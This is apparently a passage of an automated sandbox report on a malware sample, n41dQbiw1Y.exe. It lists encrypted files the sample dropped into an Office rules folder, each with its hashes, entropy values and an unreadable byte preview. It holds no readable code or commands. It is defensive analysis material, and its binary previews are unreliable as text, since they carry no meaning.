Preview:	.<?3..C"v.z.m.)5..z.\.cw.C...SR...........t}.....o^..z...V.y.^g...\......f.t..j...1.<.......j.3.@.{qeS!...$O>..w.m..,.[....1..}t.....T%../..T66.]..4.....O...U...'. ..%..FW...X..\|.\|.N...%.......*.k_..E.....;.-.....@..Icm.3T.....t.p....i...7.4.dv.'A....J..6:..)`...w...w...i...\|i.\|.X...{.,...y.Z......B.\......9?.n.......c...E.FL>....:....y.p..}..K...F}.k'..#....Z.....t.7.i.......%x%.q...k..?.[\.W.\|.W..........B'....yT......=[c^kP.,...eB.[..+..".p..#.4.....1.@..s..1.c..s.?..(./..V..8...=....+T...\|.......\...+7..uJ...Y.Z.O.q?....TPBr.fK......}..}.,.{W. .....a.6y7.....J.'@.h.w...w..>O..B...:..T...i.@....p.\.=7' .o_.O......G.j.....C3.)C.4...^c...g..E:.Md.........p........K...7V.4..G?a..}..W~a.v.D.xyQ.....D..N}.M.&R.e.._..xPTt_.........Z.4.c.@(.CS...`....T..v.I.......kgfi,.......z.gi..rb....v.r..%...z.ABK[9{X.`C.f..P.p......$%.......e..n.a..6{.lG1.G5\|.~....F......v...<.L....T.!...{..>..c$..#.v.....G.m.Z..A\tg\%R...sc ....}G.:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.893195555218983
Encrypted:	false
SSDEEP:	48:qkR/llAj4m5GfkWP3kRDWOkVw1PQpxeJIg4D:qKlYi3iW7V2PQSun
MD5:	4BCCDB8A1A9D2BABE4EC2CD63446EE49
SHA1:	6143732A85CBF0AB3487AD1CEE7EF1BD624186EA
SHA-256:	19EA28954FD9831AE8502CE294507A98206CDA8D8C9DEFE5C94983D2D774777F
SHA-512:	4A355DEBBEB21D02B5F1E31755E214D497A9D780E04089A2F61A874C2A50C8FCA4CA50681DE7942C62D9A5E5C462A9CA278444CFAA720C550E9BC9759CEED847
Malicious:	false
Preview:	.<?./g;.....6...E,0..3U_.$...t.?.g.@u.a.s..]..S.......as..,{M.....R..+D...yg....}.hz..i..n\|.#..E.&...7..'bm.Z.d....~p..dm]......T..T:r...u...0d... .F.WV...]...l_qK.i...h[.pR.gG...[q...T.g..1..y2.~.`..t.)sH....O..nC]..$.;...{.. ;..@.I. .{[.....a.........a...R..hU@...U9...[...\5Z..vj....Y.v...3$..&.vg.~..=.u.z].mlW..2..ceJH&..v.iTR.....~..(../..Hi2.{..(.kE.MG<.db..~..r...,....y[....d8.&.).M.^=.L@H<Oa..d0~x..D...L.).& ..`..v...~z....8..E.?.D..lZ.V.....(A..ls;g;.a.A.p.Q.e..........[c..(E..ON]B.e...s.7.d.(.W..}......t....WQ~M.I.&.(6..2z@...Z..../.........=L....\|~..&.}..\|C...@g.....eki...v1.....H.....Q.g..nfK.m...Z.....}.]S.333.....9..H.O.o.n#..!gT.,....&f O.%.7......4)r(.0..B.....NQA.dm.EIn.}.yQj'.Q.....A.n.q.T.jc....bB.;..r.a1..=....2..pv..s1ABT......I ......}...X.,9.7..8.."...HM.^.@....I4...Z..x...Ts...6...v....+....)..1..aG.....Lx....L...\!..}u;y_I.;.{...L..*...Q...Ke.U... ..&"..;_.t>.. .67..\|.t..R....6...~J.....\.'..-.T....qn_\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.883360089673906
Encrypted:	false
SSDEEP:	48:LNiW1DP1ILxrGEc7o7mqL9Ai5AeGSw79RJG8GD:Ls8D1Sxqb7imqLnhw79RJGb
MD5:	0D1AC069892EE0798A97D0B26323B74B
SHA1:	F6F11BB4E7F90EBC161FCAA4CFE199240A924414
SHA-256:	73230136BE7BC94B0CE0F395AB0337BBB672029B41E0F671E3FF5DC217C7EAB4
SHA-512:	208F3956672A344A82DBE9DA6C14C6850BB2442777A54836AD3CC0E3A97311C77BA485AEBBB6612EB47B98376DB16257438C2802C58B67D195E7D30F9350CC30
Malicious:	false
Preview:	.<?z.....RZ.\...z...4.s.... ...X.\/.C~......w`.s%.a....X..8.....@9..5..fk4...'.?S.'.(;..+.W....1..F,..@.w...0.uW...2........)5...J..le$].../%.0...>.[..`.E.f..I...@..<.)..^.......s.....I.lr0\....x.4..h......3.n>B4U.?..1.8..c\|FP....n..@0....z....&..a..S...tB...\|..0c.z<.C.#..u...zk.a.:D.m.~4w/....wM%PN.......0..&.x.=4_..^&x.[..%e_..9F.....W..TK.e.......d`....,.......j.k........8..0g?.L../.....7.x`....UYHL.g.<+.3.#..........(..3..B.J.xA...o.'zB9..j.dIv..L...!$..[.}.<0...-Wmo.L..<.[..m.N........m(.pt......G`g.U.....B.)..b...S...YD...._.K...E....ZN...uS.Y&VX..J}u.P...G..H.C.8.._..\|.{Z...nrg...7........0..[...-.......k....i).....X.{L0..#.I2..s._.Z..._Ca....E.4. .OB>?[..!..++X.....R....3^.....E.......9,........:NUb[.>t..R..U;6H...f.T'...Ke..{,u....v......\.....u..7....W.9....Ze.7..l.m.xu..r.......7..V........'......#@..;...g4S9..-_.s....~j..2".j.!...O`..K"..@..acTQ..@t.*.=...R.s....#.."._.B.....]..._.x].e.'.K.!_}$..>...z'..%.....hJL...9..O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.8889328488056485
Encrypted:	false
SSDEEP:	24:D1ey+9MiybMzYRHjAPeDKWQIopug0dNEX+k0Hbko4cv5AzkmvmDx2VfD3CdrvbD:D30ybTH0sQIJgu6+vbF5o3iW3czD
MD5:	7821BF9E83EA0F6DDB53352C88C7A41D
SHA1:	66B3CB0D069255EA83FF0BA7FBC6E281DB8611AD
SHA-256:	D5B2E70E802640075B97A34186CF0A03A7645067B0635A068159F4CF17F2CB05
SHA-512:	34CB7C3E4CD066E2C8D8C32DF6FDD2105BBF480057773F01290CF3CBA919A9C58608ED747EB05FD630143D6A71F858C28CC3157D49A3BEBF9FE5623782CCF7ED
Malicious:	false
Preview:	.<?..mx[.......;g.....+L]u6e.....3Q..xK..O.i....;.........e..1l..ip..f@..T...G+......e.._..QE}.V<u..y2...D._..k.cP.{.gk.9.i...C.1M.Ow.$...~A.....0D.........>....+.............d..1.B)..}........`.@Rz........~]$..6.F..Z.$...=..."..5...T...=..&t.fR..jI..y.G..l.(,.Dt.&z....G.m.....U,..>.6jF..p...c(z..."4.i.b.H..BpM-.Q.6........NJ.....@....\| ..P..#...q.sS;\..~..._...~..n$...d..s.q.`.N..f.e..@f...(0nt?..w.L..n.B..k..w2.b=R}....?...W5....=..m..l.?./...G\..T9..j..>.".A:N.}.!....#...OaW{.C87IM.r]..Y...d?.Q..U..m.......4 .2......+.w'.xN...6.....f.58?JJ_...K)s..y.ym....C..Z......X....y....2.........O.......2...;..0.f~.I..(5.`...U...D../..-=.Bu-...ya.j.#&m..(.=}......@<Z .Q.2>..?...g.u.m..J.....F..'..(7\q..o+.m......I+JN.rQU..!GKF.N..j.X..D. .RR.Q.)...,>QKMA'..GF......f..y-.U*.0=.;.........."..........6....N.......ST..h..cX_%.$../..3y#U#..5..........;^......n.Qq..q.w^...pa8.C;...VT.....0...\|....K.j\|Q..2.+..xNx.?..UH.=..Y...h+LE...K\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.887553744145897
Encrypted:	false
SSDEEP:	48:HlYAfszdDSaK2VEhbnha8IBk+ra1eVEv7n61ZLVHewKD:Hlr01dKoEhbyk+rMchvLS
MD5:	5F95B37641E8EFC8F38F6E3CCF566227
SHA1:	46BEAC54C4E0C5BDDFF5D392F3DB031BAF12B2B7
SHA-256:	E6AE93D43A2A5699E90AF14FEB8E3DBE7B2B8564B4E8CC2ADFCC0E6461C4E11D
SHA-512:	70CE0EC631C5C85A2DC33BD47185D85187EEF1B36B696A2655C9C9F128947CD0472589A7D9510A90869F1C3CFD429082A89DC25D872537DFCC6DC52D6787A2BD
Malicious:	false
Preview:	.<?..k.A.V.WG.-LI.k.$....e)6E..y(X......2...Ul.].......%x.......D..g3I..j.Q.r..i4........]F...z....=.'...A..g^.Y.../.a.U..{q....=r/~y...(.n..chd.........@.u.r...0..T.2.K.....v..j.0.....s...B.5..Z,....P.w..<...g...!........{.G.M!..r9.h...r.r..%{Am..Ix..V%.T...".T%..:c.0...%..2..wfV..&....K3.)6..+.Y...........e.p.....[....#..`.....=..$.w.....6o9c..{..i...Cv...u.K.N....e.C..1.^.....5/..P@.....7....u.p2..\N(..CV..Q.j......o.U...U....;.].R.k>&......+.K...g..S.p...&...C..S...$YO.H.xM..[v...7.?.+....W.&3...T.^..=.V...=z.3.@\|.~%.\|....7.8+z...1Wag......%....\|9..!7.N..Fju.......<..s.8I$...P%8mfV.....)....p..}/.....Qb.). \|.-~..#..m_.:.]q..0[.......U.4.3...7...0^ .z'.c.\..v.T~..-...K$.t.=..rT}W.d&..{....U..s..nG.p....Q.._..^G>...l..*.B%..l`..Z.}m,.U...u..$5...._.pot...~]...9.....X#...O...f...\|6.3N......'2y......dSB..0=7Ht\..o.G.v:...."^.@$....#.5...ox.q<...E.6+...D/."..4...%......."....v..-&Y..M~F....~.....2@..!...^o.l.-..b..5.BY.v..Nl.k"#.(/..c._y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.87416403256903
Encrypted:	false
SSDEEP:	24:vrK0mGczvilGOB77RGUF9HJ7We3/bsyG07pCMilRbCCMvXss+hrby5pV5NvjkQeX:vZLcbilG8/9p7Z3RCDbxMPsscSpfNbcD
MD5:	5617E9F06246C989E3C37BA3828FCCAF
SHA1:	A8720D91B1429B3CB32D6FA55448BB3D908194BD
SHA-256:	805921E4505AB30444757EB09368DD786405874AC07B396A86AD2D42AF5E773A
SHA-512:	868DEF24B059225C451542F7B75B1DDFC29AA0B21D6A411F992794C2E72F525DBCA1DEA9EE6D3D83B424D024892EFB199B36D3FAF8D654AA0130DD6663923435
Malicious:	false
Preview:	.<?........h+....;.F..!..Ha..?Wl.=.}.!8...:jC/D.....).i..=...w^+A...`....L..v..`.0..:w.... +T.......$gy6p....C..I..X..QbF.....VI...h...p....>.....z.n.<o\.....d......4..,....0..9...uJ%....H.q...4.C....1u....U........9.=.T.D)...r.V.J.r..M..}..N..Q.z..8o.At.#s~.7.#....!}QL2.Pq5.....B<.........z. .W ....\,...SJ.EeS>J?yEG...$..{..w.(.oR8..Je6..9..+].....Hg.....-.8=. 6.^I..m.Wb.H.cw.....7k#:.......B..6.a..T..%.~...CA.'..O...\|.%K....]I.t..U..n>.&.....l.J...\...5..5.....$."..:.v.c....<dg$`.~._.Y?..;...n.......[;.W..:.W&...7.-L... ..m.R.K.^......B..H.70).vVSs..J....Bc.?.UU1...w-.c.(..0.we&....m...."......C.*.iK.B..'`7X....}...%8y..D...99....P.}..q.'ExflS7.0b..u.......r.0.}.....z....._..,.............?.ry.7.{3.`~\..u...W.].?..%?..h.....9......:....L......^..tCa..3.z..tp.9...BSOd.tM.5...:>..K..b.dm.........\.r...+.....(....-.v....w.~..Y-pY.\Y..V.m...YD:.K2&......!7+..\...y.Z...U4..\|...1M.c........p....m...oo=.t%.WH}.z.u%...N.p.L2..<hn...8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.879464539859925
Encrypted:	false
SSDEEP:	48:t8gZBZf6QnmnqaFs+/pgyd+ui7ukp7W5A6wfHvn3D:t8Gr9d6eKpm1B6wfHvz
MD5:	4558B91F26DAB0E95D628E98FC03A633
SHA1:	B3F593BEB280B55590ACA501592C8AA8AD414262
SHA-256:	F8D39C7E1A675DD79557B1036906D3005DABD4DE7A1A94238D5A41BD23C4C9ED
SHA-512:	66ABC2FA21714EDEABCC438C1BB0695BC67D3BB1F241A01EC351137D87D4FB807D06B679B1A1E3A4E11245A7350A5EFCC52D7F405B28BBCD0E27FA7F28A58AC3
Malicious:	false
Preview:	.<?..$.".!..L.:.`......):I....R..........J.O..........w..].B^.#.....R..1l...H...T.).w....)....9...<b.!.=....I"...u.....F..Y..=}..=vk.8.l...r'7.o...#.=78..zE..+%..#..3.....L..KS..G..\t,.^S._\|...B..z..5..sI..r.....-J/X$..~....M.$...4.&..!.....1...$fc...\Y...'.."...`..ly@.G..c...mG....oz...,....F.....\Y?..[..q:...........=.[.s..Mf.A=..b...[2f..'.E...d]....Qx....h.".r ..B.......rh4"s...o}......g].?J...?.........M.A.>.........'i..M.o0......R...b..)A3.f..a4....GBZ.1.....Lu6s..b[p.T.V...RN.Z..pIS..........sn..._.4...>.U.>..N.B.'2.....\......j...EGP_.E.v5...Xl...:[.Vv.H....`...K..F.%.... ....;...C.D.G..lR.?.h....`....m...@&./}...r.\.....t.:....W..g.;x..........&..dA.Z..$o..g.^..7.....;.\)W.<....Q.. .../"1.U.......\|J...fL..R..M.......P...u8d........)..._x..a?-[8...<gg=G....8..S~x..w...O...).L.ZW..lU.R....M$....v. j%.....B...?C.k V...j.'b..b.....X..A..8!....!.4....>jP2..3.......WPXx0EG..l.8....m+In..L..........E.....H...>.."K&E.E...S..I..C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.898171902410723
Encrypted:	false
SSDEEP:	48:92pnMmcrwKVJKXwSnK9iRdNWIzo8qmgUrqD:9dpwvwSnKARqI4DUri
MD5:	DB01CB5455286108C00A98C42FD26CB4
SHA1:	0EE8776826602608D4D1B1F87E5871113C361B6A
SHA-256:	F56DB1B8E9D3E4E4EF90C979795AD8E86C58222D487A255F1DBEF990B65FE272
SHA-512:	175EEF084DBFC70928D296B02A464CCC7C58271B65CC0B0F73C6CE91CA68A0990A463983911C85F2B9A4BD0F9BC5AD0EDF3CF12E2EFABB785341EBAC699966A6
Malicious:	false
Preview:	.<?.....G.0..%...sTbpU.e....S..^...;._.3t.p.....!.O.m..'..a.G%.a.hk...&..K.V..">..Pdl..N,.D..4.Y....i.r..VUZ..9..q.\|..w.O..h7hX.6.u.<..>E0...d.......on...2.u...3.bx.v..?..14/..Z.h.I{6..r&}....].....s.{?7u6.k.^...rDR...#.G.(......w%.v.Yh...mK'....!g......w.Qt..hi8...e.......z.Q...<..z.UW.$..pB...v...].z.....u..=.Wi..v..?.%.7M.R.C.e'wUz.@.O+..>....d.....NJ1>.c.(.9.O.M..`.].R....p..0.U.....S..E.....Y5..81Y........g.EA...[/.}..l...a.~p:...u.?.1.Rh..l..H.O..G_.yh..FlVT-.<.^...P.....'^D5....\|..K.a..N..+.i..gVE..f6._m......H..>.7-@...Z~-D....O...J.ki"vNwe.H.6...I..C..>.h..X..!.,:....2...A....#..A.V.\|..-Znf.h.4\8..P.H...V_.u\\.?.....Q%..S..qt...['.)s.T".n...b.\...cB9@...].3.. Nvi..JQ.O#].[. ...p.C...:. k......i..!~.2-.U.K2.B......HM.:....".}...AM.z........U.nH..@....,..qZ.'x..Q.....&..\|.A...+WV..G.8.%"5.(.0......[.. 5..! @9..Q...1c.k.....lNQ5.OV.8.>..Jm...iT...+~.&z....sSLw>....\.\....].8.~...;L...@....7.(.....[/.....h!j)...x.?`.e.......#..q.._...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.886131862968294
Encrypted:	false
SSDEEP:	48:6mnRHXZArl17EZ+gzlpM2cMMcOOUsDlsNgjpaVD:6m3ZArb7Y3xMg7Wejkt
MD5:	DFCD0777F62797B428969287BCF923B8
SHA1:	8E98A2058B2F72FB5C34F87EC304E14FDDDF8AED
SHA-256:	E5C2EDA94081BBE3064C1CDE3A310FDF276B434052C38E5E97CAABDD9A862041
SHA-512:	3A0506A8FAA62F6A4D380371712ADA0608560DC01A7E490A7AC001216486E2703F632AD42E2CDC7FEE3C288855C191B51FE477F61749B08C7C27837A05EE48A9
Malicious:	false
Preview:	.<?........[.W...>+....t...\w.f~....y..m...P...ln..Cpi.@....C.!..R..k.....;.({.0.w...L.....r..G......l~.......AR...a...n....m{...&....ei..."...,P.@=R......\.D.....R4.#}P.+6Y.%1..x........A;Z.......O....4C....pT+I....x.......f...7...f............i..)..\......h...N.1....;,JO.=3T0.k.....B.....[.&..././..mC..N..7..q8....X.......e.8LiH.k.n..{W...>1..5....)....l..f..+\|.<.../..=...Aw....J....;G........@kVQ.....V...].,QT...seQL.z.;.C9.:.'i...{[....6O...a..AF.`..N.`.qWDD."!..T.]..5....W.G^..`.,..(.p.._.Xu.z..R.........wb..wB..Z..m.W..=.R;.!t...Tk...J...xq.;........8....B.? ;.]..\Xw.\e..R....x,.r.....;......r..[..-...u.@r..Y...R....qR!.....?...).H..B...`-..U..#X?......l..;;....@j?.B..S..\|....m.....Z.F...\.mn..Q.e\......=r..;..6go..W.K....^._-Q.....z...zA.tbw(...w*....&x....fu...@.=b.)...bg.....~wp..UkcX..=1.i.M..b..=.....U%.GE.g.]g.a.. .#..vr....C.n<.Mr...c..v.}6h.Z....s..y....J.X_..Nbw.\|.U....>5/g.......[U.:......{1.......s.T$.8.p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.893300061837976
Encrypted:	false
SSDEEP:	48:V99kcXSyWq1ZHuyyRwOzDw6jptemqgeUYK17iD:XWoRWq1ZHuyynp2Oq
MD5:	5E81FBA305BEAB74EA60EC2443FE98AE
SHA1:	77585B7B6ADA2EFF77FDFD602FB06A965794A0CF
SHA-256:	80C5E3470FEFFA12FB29615FA108719E40763334786AAEBA41C17A4FBFDBFD1C
SHA-512:	617A5E5893E21015A4729D25A00F09C2CCD4AE1342494F910ED8C3F7E799A60EDA6964E5D4E7B17241707F7D9414CD8193DC7A29A282EFE1CAAC344F98E3D4E1
Malicious:	false
Preview:	.<?q..)\U....@...j....n.kX..-.R.V.k.s.,.i...6.2.<.....w.~..B.@.Qu.x..Z\.+..{..n.....%.G9.@eK._..ALL..5%F\|......cR.:tq..)..jMy..,(MP..F'Tz.....U....(H)R^...G.$....@..`.i....yc..,..XF...p..f.......AG.....GS.....eke....p.Z.1.5.......(A+...z..p.iU..6.g.n?...%..b`.CU....{........6T{..Sq..=..e....)0e...x...S.SX.\|8 ..)._...a.J...l.mJ,8yH...X./C....qR.#.]..n..[..#.0..."./..B.c.f.J....9.....?E.P..g..H.$7..J.....s..++.^.0g.)...1.....\[y...7~.....9../r..\|L.F^....,..........8....%.`.uC...H.n.Z..l......zI..%......1J..A..$..0....}....Ug4........g.x.W..A...5..5"...1.@c...o.i..r....2.se....9..\|.....F:....0I..H....&....:".. .._..:2C:C.Oqtat1..Xy....?z...~p&.E....)H...S..._Sd...eTf9.R....J@\|e...z...q.....E...n? .\o9c..53.....v....}qF,..[....E."...WU..F...5...`u......K"8.K[&.:......:..i.[7.Zt..n.......1........f1)...Zf.n.~5i..me.2,.[}.D...u#u...C..{Zo..4~6..2w...f.cNR.&;]....Oj.j.4..'3...2./\.....Q.9.\...........F.6...O76qM..u...{.r.0..a....`..;...;.C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.872594189705982
Encrypted:	false
SSDEEP:	48:HEaNafpEuVf7L6G2Kvnzq7ua9PvFbUdrl5D:kaNspVUmvnla3bilx
MD5:	5EEF8FE939513897F49A3824F8D1915A
SHA1:	7D35C2ECDAF13C92F136CCCAC9529DE388E4481B
SHA-256:	FDF3BD555A020FFB0053519143163E9ABC44F3BC9C1D960E758419A14BA6FA17
SHA-512:	64447BD40F84EB0FB6F25C98285E040CA42B49489363496404A77320CA177C9BF96C7D86B288D4ADC02A57C69CF17776C8FCDB5B5FDE499F70A2241E7C605BEB
Malicious:	false
Preview:	.<?'e.+.q.P.:.Bjn....b..f......o.d.B..f.k0..yk.B.PTB...!..q..<.....RT.(4.........^..9....J6AbP..E...j.'d.80m?........~..(..X....U':.]....#m....4R[._;...#.\|X.r...y.Ay.m`..L.~.r.. ...g\|N]^.g.=...8..B."^r.]....ChQ.r.._.T.......A^...]..0..W:..\|B.p...X....x....j.f..)..6. ... g...&^Y{.L......Y...0..+.v..P....w....W..q.....H.C.....+'_.8\}2....\........V...9..;.(^..^7..\&W1;e".D.^.w...$......Ze\|%..H.U..KcaV..9.5.!m-....A.....h....../...../.3.G...c5i4..9T[............t.$$0.q..z...........Z..{.0a.Mm.......N....4K...^...A.a..$.u..w...Z~.cj..'...j;<.SV....;..(.Y....P.]<.%...1xv..C...5.@....E<.c..YWUv!.r...Va.l..k.........Aj89.,..".mm...K..q.Ib......J--U;.^-.2A...C..........X.Y.o....4..;3.;%Q{._+.i.nJ..=...3..m.H`.2...B.(a.T.-....W..+..M.vel.G+"G..s..,.P+..d .\|.p.zA.m.....-#,5...jB....m..&.......S.qeB.MW........UX.b...}`H.....C.?.g&...h \|......k+.. ....R#...j.....w..J.c..S*..PC0.(U}.............{9.DH.c...o.d...&.7d......+.l.......@ww.=+u,....U...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.877172185737762
Encrypted:	false
SSDEEP:	48:B6XbvdGdt2mIctEHTH2a+NqErpVOgd+QqyZ/D:YXjdGT23c+r2a+0EBYI
MD5:	E90F36C21AF4CA1C331D54ACA3AF2BB1
SHA1:	9104B3FFD01A0BFF0A41DDB2A414C7554CD0AB4E
SHA-256:	3294E74F7E32EC7F4134909F439BD156CB24D46D84F9AC674D776760C305554C
SHA-512:	A1383A4932B8143BA64CF48B4C64CFEF4C9453003AC6C8C3076133D3942231617329C6EB25E4C14779F92C0E2CBF49A72A0BB454DEA8ED8B7D9FC428B656A2CB
Malicious:	false
Preview:	.<?.;0`.32...k.......#...g..?G......}.l!.FI....`}..6.L....c..S.6..R..S.Da.....\..F.ds.)l..).1..jT.~.P..g..7...(....)......zu[...{..nb.....;k4.S#.-H.-....;...d~v.[..,.,Q..o.Nh.............g?( bWY..:....'.S.!..p....[....ouL.@s....RE...z:..n.q.zY. ..3.9.Z...1...\|$........n....."...p..6.JFph.%e.0q.R.UWB.X.......k.T.Yd..o...d'7.....k..:(....%`.Ql.....k.EK;.%5....a.=.p.....r..f..7...[Lr...t[(..q%;......{...~..L...B.5........0w.i..v.....@.h....O.!..C_.......?.7...G."~.C..8..F.H..K...-m.:.l.).F.E.2..x.....>./..4.(e...n........r.^vy#..&61;.T.....gx...E..Ki..m_...!4..:..EA...8?...RV...+A...)..'.\|.z...K...NXcyhh9.WK]y...mJ.....W....f.u.#..'.!.4A....\|+@-}...... .......8.._...[A.5...(.~F..A.9..z..k7~F.j..=f.-&..b#....{.=3.I............zs...\|._^...X..G7...,...sX.^.....R...Ih..F.."j.?.}.....;.Q.....9..4......kYu....}...E.azIs........E...~...D.]7.d..X..A.E.D<..d..R.........{..n.r..[..J{e...]`..`.cE.4...3.............#..~.....D....iCEn1Y....7B...U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.880095515017654
Encrypted:	false
SSDEEP:	48:1LPB4za+zjPCk+2dlh4CdSQKaDiiSG4AY4v/nD:1LPB4G+PK52iCAQKaDiivYm/D
MD5:	2728A08C85719BB9435E9794EB1CDBDE
SHA1:	E5D8B8604F674FA3CF718F9648A2B8957FB1FEAC
SHA-256:	FA783565C601F73F7FDE7008969759BCD28BD74D32E80F3E7FA5931E6783666B
SHA-512:	6F8D51E1EBE1D0B4D43EC0C573C0A9630D119F32B57E747841D7B08FB4E1B9C38A36EB4B10868F8767E48B4B4D60933A96B913E0A232CF146C227805BBABD8C6
Malicious:	false
Preview:	.<?.7.1..T......../.u..xd.o..+.....r:..P....F.e..Qp..z.y.%y.b7X?.....s.K.Z..Z.#.B..IC.+...i...S....?....:\....X..7.<6...~S8.k.h..a.j".g....~\.Bh.b..m/3.:.AA7V.1bQ..GLg..[....K.....u..vy.y:L....0."..0..$..R.Y.)......S....Z..@.....^.....`.C.fQB.C8...u......}...u........Q}.y..$.....<z.....1..L...o..1....].........).=I7....prr.ma...n.....N..i.UG.f.]......./T.'].....[._.......S.G.U.C...:}[X.U..u..~.r!Es.S........2.,L..M.N......G ...P?...i2Gn...@.O...OPo(#m...n..,-f..X=.9...K..%B......Z...vq.B.......zs#..n.[.lu....H..m.....`........+....8-J.W.3..QQ...^.'.{..9....Q.c..{..l...:....+.8.....M.>...Y.F..M..Hd..~...: ...#[.e.....o....64..?h.s..m.VR....5..C.....n.9......V...m.dnz..n.wX$....'..VN.=T.2...;:}&..v..Y.Z.....@.......W...U....>..X.>.m....z...(...m..Y.....(.p\|...m.v...;..}}....2iB3.r...".T...........%..........s.$..y...Wm0u.(.w&...E4..>.......iB..K.('.........[..i..}...u.L.....C.=....~..8...Z........l...WX....+r..)n.g.K..uA.dW6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.865551997994473
Encrypted:	false
SSDEEP:	48:o1ZSFG5BDabpgxXB7T/2mMDW59i1yphzg6/hlmSnyWD:o1ucjxXJTOmsW5g1yphzZnp
MD5:	EA35DC17167ACDB33CEED00114EB61F9
SHA1:	EE2197E729770408A465EBDFFF1C39AA553584F3
SHA-256:	BD68181EECD6575A622BB6B0DA6090C2228146DBEA02688056F9EBA1AD11D771
SHA-512:	3A51AAC3192C233CED28B4615E06513DCB147D1CE98C21D7918C645F63EBE61549F118D543060E14B79C146BD2F9E36F3C58023B2E5EF8B6A0233215094D4B89
Malicious:	false
Preview:	.<?'...R..1.t.OQ.6.n(.%..H(......9.O...RL2.C[.~.?T.4.]..R.{-...,...U.D$.7D..N...x...{.o/.].Lm.g.._..N..d"=..'.&hw.j_.[..rz......u.V$. ..?aI.1W5[...].7..(l$...E._...\|..P.a.#4< Y.\Q.h[...Nz.E.I{.O......~SqW.3....Uj..l....\...@.p......N.{...R.Ef..p\|.+.!z....k.)%....(.8.GE...ib........W)..Tl.....\|..`p............<.....0i-...H.'Y.mC.6..r..-../.yk%.............p....`B....... B.....r-FM......?.5..j..YP..U6..-.h.&......J..S...G..m.._..nem.l.8..w...of.%.@H.Ql..neB..k..FF.Gu.4.t.0..[....d.>c..'D..e...'...m.V.91~....k...L....i.O....qe.P.-o-..b.ZkA.P.s]uT.2......dZ..#..u<'.!...5..)6\AJ\|.q.N./.r.U..".....\|S.A...x.k..8.fp......bL>/V.+c\\|%._...V=Q...#........1...0.dB.E4A.....>\D.R.J.O+.......Iz..S.KXY...m....\|[p.L5.._kM..F.\S..nPP+..a3<...D(h.......~n.".....0.8Q.a.s._K.~.m....\iS...D.3!..w{Y....Ik...=tWi....AO.O.g<..v.!.4&..)J.....J..8zl..`>.Tn1...@l.a.d.r.y.E..._...!r.X.."..+..XBt./:O.P...P....%..+.&.5rS".YU$....G..=..l.\|...dW.K.......:.ZZ...8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.8769632208669735
Encrypted:	false
SSDEEP:	24:xheczPXyT1Tkc05nWspGJNKfrqfNNm3TfKF8TH3rQv3ZZawwRmCj8dbD:JvyRAc0olerbTfK43rQfZZawQ8dD
MD5:	D19B06B5C1DC1EE79E469C83AFF3DEC7
SHA1:	B30545AED0240B9185706F9B8BDA8F772E4C8C94
SHA-256:	36761637761545D6D825FA05C7ABF6A404AF023BA3BF2F728221830CCE4CB944
SHA-512:	60BB4BD6F9C38F76804E6E417384DF134928A5F181F1EDD4C17C4F6F073E361ADD985261FCE70D95F7B327F5E7356B16832B0E0E516C2B0370FF1F47FD0B10B7
Malicious:	false
